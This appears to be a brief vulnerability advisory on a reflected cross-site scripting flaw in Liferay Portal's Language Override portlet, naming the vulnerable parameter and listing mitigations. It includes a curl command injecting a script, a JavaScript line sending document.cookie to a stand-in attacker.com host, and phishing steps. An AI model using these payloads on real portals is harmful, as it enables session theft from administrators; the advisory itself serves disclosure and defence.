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This vulnerability is a classic Reflected Cross-Site Scripting (XSS) flaw located within the Language Override portlet of Liferay Portal. The specific vulnerable parameter is _com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId. When a user, such as an administrator, accesses a crafted URL containing a malicious script within this parameter, the server reflects the input directly back into the HTML response without proper sanitization or encoding. This allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser session. Consequently, the attacker could steal session cookies, perform actions on behalf of the user, or deface the portal, all without needing to store the malicious payload on the server itself.
Platform: Liferay Portal/DXP
Version: 7.4.3.8-7.4.3.111
Vulnerability: Reflected XSS
Severity: Moderate
date: 2025-10-31
Prediction: 2025-11-07
What Undercode Say:
curl -G 'https://vulnerable-liferay-instance.com/group/guest/ploportlet' --data-urlencode "_com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId=<script>alert(document.cookie)</script>"
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
How Exploit:
Craft malicious URL.
Phish authenticated user.
Execute stolen session.
Protection from this CVE
Apply vendor patch.
Input sanitization.
Use Content-Security-Policy.
Impact:
Session hijacking.
Unauthorized actions.
Portal defacement.
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Sources:
Reported By: github.com
Extra Source Hub:
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